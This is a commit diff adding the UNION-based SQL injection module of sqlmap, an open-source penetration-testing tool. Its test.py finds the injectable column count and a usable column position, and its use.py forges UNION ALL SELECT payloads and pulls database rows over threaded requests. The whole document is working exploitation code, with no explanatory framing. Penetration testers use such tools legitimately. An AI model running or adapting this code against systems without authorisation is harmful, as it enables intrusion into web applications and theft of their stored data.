Moved folder

lib/techniques/union/__init__.py

@@ -0,0 +1,10 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+pass

lib/techniques/union/test.py

@@ -0,0 +1,241 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import random
+import re
+import time
+
+from lib.core.agent import agent
+from lib.core.common import average
+from lib.core.common import Backend
+from lib.core.common import clearConsoleLine
+from lib.core.common import dataToStdout
+from lib.core.common import extractRegexResult
+from lib.core.common import getUnicode
+from lib.core.common import listToStrValue
+from lib.core.common import parseUnionPage
+from lib.core.common import popValue
+from lib.core.common import pushValue
+from lib.core.common import randomStr
+from lib.core.common import removeReflectiveValues
+from lib.core.common import singleTimeWarnMessage
+from lib.core.common import stdev
+from lib.core.common import wasLastRequestDBMSError
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.enums import DBMS
+from lib.core.enums import PAYLOAD
+from lib.core.settings import FROM_TABLE
+from lib.core.settings import UNION_MIN_RESPONSE_CHARS
+from lib.core.settings import UNION_STDEV_COEFF
+from lib.core.settings import MIN_RATIO
+from lib.core.settings import MAX_RATIO
+from lib.core.settings import MIN_STATISTICAL_RANGE
+from lib.core.settings import MIN_UNION_RESPONSES
+from lib.core.unescaper import unescaper
+from lib.parse.html import htmlParser
+from lib.request.comparison import comparison
+from lib.request.connect import Connect as Request
+
+def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
+    """
+    Finds number of columns affected by UNION based injection
+    """
+    retVal = None
+
+    pushValue(kb.errorIsNone)
+    items, ratios = [], []
+    kb.errorIsNone = False
+    lowerCount, upperCount = conf.uColsStart, conf.uColsStop
+
+    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
+        upperCount = lowerCount + MIN_UNION_RESPONSES
+
+    min_, max_ = MAX_RATIO, MIN_RATIO
+
+    for count in range(lowerCount, upperCount+1):
+        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, kb.uChar)
+        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
+        page, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
+        ratio = comparison(page, True) or MIN_RATIO
+        ratios.append(ratio)
+        min_, max_ = min(min_, ratio), max(max_, ratio)
+        items.append((count, ratio))
+
+    ratios.pop(ratios.index(min_))
+    ratios.pop(ratios.index(max_))
+
+    minItem, maxItem = None, None
+
+    for item in items:
+        if item[1] == min_:
+            minItem = item
+        elif item[1] == max_:
+            maxItem = item
+
+    if all(map(lambda x: x == min_ and x != max_, ratios)):
+        retVal = maxItem[0]
+
+    elif all(map(lambda x: x != min_ and x == max_, ratios)):
+        retVal = minItem[0]
+
+    elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
+            deviation = stdev(ratios)
+            lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
+
+            if min_ < lower:
+                retVal = minItem[0]
+
+            if max_ > upper:
+                if retVal is None or abs(max_ - upper) > abs(min_ - lower):
+                    retVal = maxItem[0]
+
+    kb.errorIsNone = popValue()
+
+    if retVal:
+        infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
+        logger.info(infoMsg)
+
+    return retVal
+
+def __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
+    validPayload = None
+    vector = None
+
+    positions = range(0, count)
+
+    # Unbiased approach for searching appropriate usable column
+    random.shuffle(positions)
+
+    # For each column of the table (# of NULL) perform a request using
+    # the UNION ALL SELECT statement to test it the target url is
+    # affected by an exploitable inband SQL injection vulnerability
+    for position in positions:
+        # Prepare expression with delimiters
+        randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
+        phrase = "%s%s%s".lower() % (kb.misc.start, randQuery, kb.misc.stop)
+        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
+        randQueryUnescaped = unescaper.unescape(randQueryProcessed)
+
+        # Forge the inband SQL injection request
+        query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar)
+        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
+
+        # Perform the request
+        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
+            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
+            payload, True) or "")
+
+        if content and phrase in content:
+            validPayload = payload
+            vector = (position, count, comment, prefix, suffix, kb.uChar, where)
+
+            if where == PAYLOAD.WHERE.ORIGINAL:
+                # Prepare expression with delimiters
+                randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
+                phrase2 = "%s%s%s".lower() % (kb.misc.start, randQuery2, kb.misc.stop)
+                randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
+                randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
+
+                # Confirm that it is a full inband SQL injection
+                query = agent.forgeInbandQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, multipleUnions=randQueryUnescaped2)
+                payload = agent.payload(place=place, parameter=parameter, newValue=query, where=PAYLOAD.WHERE.NEGATIVE)
+
+                # Perform the request
+                page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
+                content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
+
+                if content and ((phrase in content and phrase2 not in content) or (phrase not in content and phrase2 in content)):
+                    vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE)
+
+            unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()
+
+            if unionErrorCase:
+                warnMsg = "combined UNION/ERROR SQL injection case found on "
+                warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
+                warnMsg += "column with better characteristics"
+                logger.warn(warnMsg)
+            else:
+                break
+
+    return validPayload, vector
+
+def __unionConfirm(comment, place, parameter, value, prefix, suffix, count):
+    validPayload = None
+    vector = None
+
+    # Confirm the inband SQL injection and get the exact column
+    # position which can be used to extract data
+    validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count)
+
+    # Assure that the above function found the exploitable full inband
+    # SQL injection position
+    if not validPayload:
+        validPayload, vector = __unionPosition(comment, place, parameter, value, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
+
+    return validPayload, vector
+
+def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
+    """
+    This method tests if the target url is affected by an inband
+    SQL injection vulnerability. The test is done up to 50 columns
+    on the target database table
+    """
+
+    validPayload = None
+    vector = None
+    query = agent.prefixQuery("UNION ALL SELECT %s" % kb.uChar)
+    total = conf.uColsStop+1 - conf.uColsStart
+
+    # In case that user explicitly stated number of columns affected
+    if conf.uColsStop == conf.uColsStart:
+        count = conf.uColsStart
+    else:
+        count = __findUnionCharCount(comment, place, parameter, value, prefix, suffix)
+
+    if count:
+        if Backend.getIdentifiedDbms() in FROM_TABLE and query.endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
+            query = query[:-len(FROM_TABLE[Backend.getIdentifiedDbms()])]
+
+        if count:
+            query += ", %s" % kb.uChar
+
+        if Backend.getIdentifiedDbms() in FROM_TABLE:
+            query += FROM_TABLE[Backend.getIdentifiedDbms()]
+
+        validPayload, vector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
+
+        if not all([validPayload, vector]) and not conf.uChar:
+            warnMsg = "if UNION based SQL injection is not detected, "
+            warnMsg += "please consider providing --union-char switch "
+            warnMsg += "(e.g. --union-char=1) and/or try to force the "
+            warnMsg += "back-end DBMS (e.g. --dbms=mysql) "
+            singleTimeWarnMessage(warnMsg)
+
+    return validPayload, vector
+
+def unionTest(comment, place, parameter, value, prefix, suffix):
+    """
+    This method tests if the target url is affected by an inband
+    SQL injection vulnerability. The test is done up to 3*50 times
+    """
+
+    if conf.direct:
+        return
+
+    kb.technique = PAYLOAD.TECHNIQUE.UNION
+    validPayload, vector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
+
+    if validPayload:
+        validPayload = agent.removePayloadDelimiters(validPayload)
+
+    return validPayload, vector

lib/techniques/union/use.py

@@ -0,0 +1,356 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+import threading
+import time
+
+from lib.core.agent import agent
+from lib.core.common import Backend
+from lib.core.common import calculateDeltaSeconds
+from lib.core.common import clearConsoleLine
+from lib.core.common import dataToStdout
+from lib.core.common import extractRegexResult
+from lib.core.common import filterStringValue
+from lib.core.common import getConsoleWidth
+from lib.core.common import getUnicode
+from lib.core.common import initTechnique
+from lib.core.common import isNumPosStrValue
+from lib.core.common import listToStrValue
+from lib.core.common import parseUnionPage
+from lib.core.common import removeReflectiveValues
+from lib.core.common import singleTimeWarnMessage
+from lib.core.convert import safecharencode
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.enums import DBMS
+from lib.core.enums import PAYLOAD
+from lib.core.exception import sqlmapConnectionException
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.settings import FROM_TABLE
+from lib.core.settings import SQL_SCALAR_REGEX
+from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
+from lib.core.threads import getCurrentThreadData
+from lib.core.threads import runThreads
+from lib.core.unescaper import unescaper
+from lib.request.connect import Connect as Request
+from lib.utils.resume import resume
+
+reqCount = 0
+
+def __oneShotUnionUse(expression, unpack=True):
+    global reqCount
+
+    check = "(?P<result>%s.*%s)" % (kb.misc.start, kb.misc.stop)
+    trimcheck = "%s(?P<result>.*?)</" % (kb.misc.start)
+
+    # Prepare expression with delimiters
+    expression = agent.concatQuery(expression, unpack)
+    expression = unescaper.unescape(expression)
+
+    if conf.limitStart or conf.limitStop:
+        where = PAYLOAD.WHERE.NEGATIVE
+    else:
+        where = None
+
+    # Forge the inband SQL injection request
+    vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
+    query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
+    payload = agent.payload(newValue=query, where=where)
+
+    # Perform the request
+    page, headers = Request.queryPage(payload, content=True, raise404=False)
+
+    reqCount += 1
+
+    # Parse the returned page to get the exact union-based
+    # sql injection output
+    output = reduce(lambda x, y: x if x is not None else y, [ \
+            extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
+            extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
+            if headers else None), payload, True), re.DOTALL | re.IGNORECASE)], \
+            None)
+
+    if output is not None:
+        output = getUnicode(output, kb.pageEncoding)
+    else:
+        trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
+                or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \
+                if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
+
+        if trimmed:
+            warnMsg = "possible server trimmed output detected (due to its length): "
+            warnMsg += trimmed
+            logger.warn(warnMsg)
+        elif Backend.isDbms(DBMS.MYSQL) and not kb.multiThreadMode:
+            warnMsg = "if the problem persists with 'None' values please try to use "
+            warnMsg += "hidden switch --no-cast (fixing problems with some collation "
+            warnMsg += "issues)"
+            singleTimeWarnMessage(warnMsg)
+
+    return output
+
+def configUnion(char=None, columns=None):
+    def __configUnionChar(char):
+        if not isinstance(char, basestring):
+            return
+
+        kb.uChar = char
+
+        if conf.uChar is not None:
+            kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'"))
+
+    def __configUnionCols(columns):
+        if not isinstance(columns, basestring):
+            return
+
+        columns = columns.replace(" ", "")
+        if "-" in columns:
+            colsStart, colsStop = columns.split("-")
+        else:
+            colsStart, colsStop = columns, columns
+
+        if not colsStart.isdigit() or not colsStop.isdigit():
+            raise sqlmapSyntaxException, "--union-cols must be a range of integers"
+
+        conf.uColsStart = int(colsStart)
+        conf.uColsStop = int(colsStop)
+
+        if conf.uColsStart > conf.uColsStop:
+            errMsg = "--union-cols range has to be from lower to "
+            errMsg += "higher number of columns"
+            raise sqlmapSyntaxException, errMsg
+
+    __configUnionChar(char)
+    __configUnionCols(conf.uCols or columns)
+
+def unionUse(expression, unpack=True, dump=False):
+    """
+    This function tests for an inband SQL injection on the target
+    url then call its subsidiary function to effectively perform an
+    inband SQL injection on the affected url
+    """
+
+    initTechnique(PAYLOAD.TECHNIQUE.UNION)
+
+    global reqCount
+
+    count = None
+    origExpr = expression
+    startLimit = 0
+    stopLimit = None
+    test = True
+    value = ""
+    reqCount = 0
+    width = getConsoleWidth()
+    start = time.time()
+
+    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
+
+    # We have to check if the SQL query might return multiple entries
+    # and in such case forge the SQL limiting the query output one
+    # entry per time
+    # NOTE: I assume that only queries that get data from a table can
+    # return multiple entries
+    if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
+       (dump and (conf.limitStart or conf.limitStop))) and \
+       " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
+       not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
+       and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
+       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+
+        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
+        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
+
+        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
+                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
+                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
+
+                if limitGroupStart.isdigit():
+                    startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+                stopLimit = limitRegExp.group(int(limitGroupStop))
+                limitCond = int(stopLimit) > 1
+
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                if limitRegExp:
+                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
+                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
+
+                    if limitGroupStart.isdigit():
+                        startLimit = int(limitRegExp.group(int(limitGroupStart)))
+
+                    stopLimit = limitRegExp.group(int(limitGroupStop))
+                    limitCond = int(stopLimit) > 1
+
+                elif topLimit:
+                    startLimit = 0
+                    stopLimit = int(topLimit.group(1))
+                    limitCond = int(stopLimit) > 1
+
+            elif Backend.isDbms(DBMS.ORACLE):
+                limitCond = False
+        else:
+            limitCond = True
+
+        # I assume that only queries NOT containing a "LIMIT #, 1"
+        # (or similar depending on the back-end DBMS) can return
+        # multiple entries
+        if limitCond:
+            if limitRegExp:
+                stopLimit = int(stopLimit)
+
+                # From now on we need only the expression until the " LIMIT "
+                # (or similar, depending on the back-end DBMS) word
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
+                    stopLimit += startLimit
+                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
+                    expression = expression[:untilLimitChar]
+
+                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                    stopLimit += startLimit
+            elif dump:
+                if conf.limitStart:
+                    startLimit = conf.limitStart
+                if conf.limitStop:
+                    stopLimit = conf.limitStop
+
+            # Count the number of SQL query entries output
+            countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)
+
+            if re.search(" ORDER BY ", expression, re.I):
+                untilOrderChar = countedExpression.index(" ORDER BY ")
+                countedExpression = countedExpression[:untilOrderChar]
+
+            count = resume(countedExpression, None)
+            count = parseUnionPage(count, countedExpression)
+
+            if not count or not count.isdigit():
+                output = __oneShotUnionUse(countedExpression, unpack)
+
+                if output:
+                    count = parseUnionPage(output, countedExpression)
+
+            if isNumPosStrValue(count):
+                if isinstance(stopLimit, int) and stopLimit > 0:
+                    stopLimit = min(int(count), int(stopLimit))
+                else:
+                    stopLimit = int(count)
+
+                    infoMsg = "the SQL query used returns "
+                    infoMsg += "%d entries" % stopLimit
+                    logger.info(infoMsg)
+
+            else:
+                warnMsg = "it was not possible to count the number "
+                warnMsg += "of entries for the used SQL query. "
+                warnMsg += "sqlmap will assume that it returns only "
+                warnMsg += "one entry"
+                logger.warn(warnMsg)
+
+                stopLimit = 1
+
+            try:
+                threadData = getCurrentThreadData()
+                numThreads = min(conf.threads, stopLimit-startLimit)
+                threadData.shared.limits = range(startLimit, stopLimit)
+                threadData.shared.value = ""
+
+                if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
+                    kb.suppressResumeInfo = True
+                    debugMsg = "suppressing possible resume console info because of "
+                    debugMsg += "large number of rows. It might take too long"
+                    logger.debug(debugMsg)
+
+                lockNames = ('limits', 'value')
+                for lock in lockNames:
+                    kb.locks[lock] = threading.Lock()
+
+                def unionThread():
+                    threadData = getCurrentThreadData()
+
+                    while kb.threadContinue:
+                        kb.locks.limits.acquire()
+                        if threadData.shared.limits:
+                            num = threadData.shared.limits[-1]
+                            del threadData.shared.limits[-1]
+                            kb.locks.limits.release()
+                        else:
+                            kb.locks.limits.release()
+                            break
+
+                        if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                            field = expressionFieldsList[0]
+                        elif Backend.isDbms(DBMS.ORACLE):
+                            field = expressionFieldsList
+                        else:
+                            field = None
+
+                        limitedExpr = agent.limitQuery(num, expression, field)
+                        output = resume(limitedExpr, None)
+
+                        if not output:
+                            output = __oneShotUnionUse(limitedExpr, unpack)
+
+                        if not kb.threadContinue:
+                            break
+
+                        if output:
+                            kb.locks.value.acquire()
+                            threadData.shared.value += output
+                            kb.locks.value.release()
+
+                            if conf.verbose == 1:
+                                if all(map(lambda x: x in output, [kb.misc.start, kb.misc.stop])):
+                                    items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.misc.start, kb.misc.stop), output, re.DOTALL | re.IGNORECASE).split(kb.misc.delimiter)
+                                else:
+                                    items = output.replace(kb.misc.start, "").replace(kb.misc.stop, "").split(kb.misc.delimiter)
+
+                                status = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))
+
+                                if len(status) > width:
+                                    status = "%s..." % status[:width - 3]
+
+                                kb.locks.ioLock.acquire()
+                                dataToStdout(status, True)
+                                kb.locks.ioLock.release()
+
+                runThreads(numThreads, unionThread)
+
+                if conf.verbose == 1:
+                    clearConsoleLine(True)
+
+            except KeyboardInterrupt:
+                warnMsg = "user aborted during enumeration. sqlmap "
+                warnMsg += "will display partial output"
+                logger.warn(warnMsg)
+
+            except sqlmapConnectionException, e:
+                errMsg = "connection exception detected. sqlmap "
+                errMsg += "will display partial output"
+                errMsg += "'%s'" % e
+                logger.critical(errMsg)
+
+            finally:
+                value = threadData.shared.value
+                kb.suppressResumeInfo = False
+
+    if not value:
+        value = __oneShotUnionUse(expression, unpack)
+
+    duration = calculateDeltaSeconds(start)
+
+    if not kb.bruteMode:
+        debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
+        logger.debug(debugMsg)
+
+    return value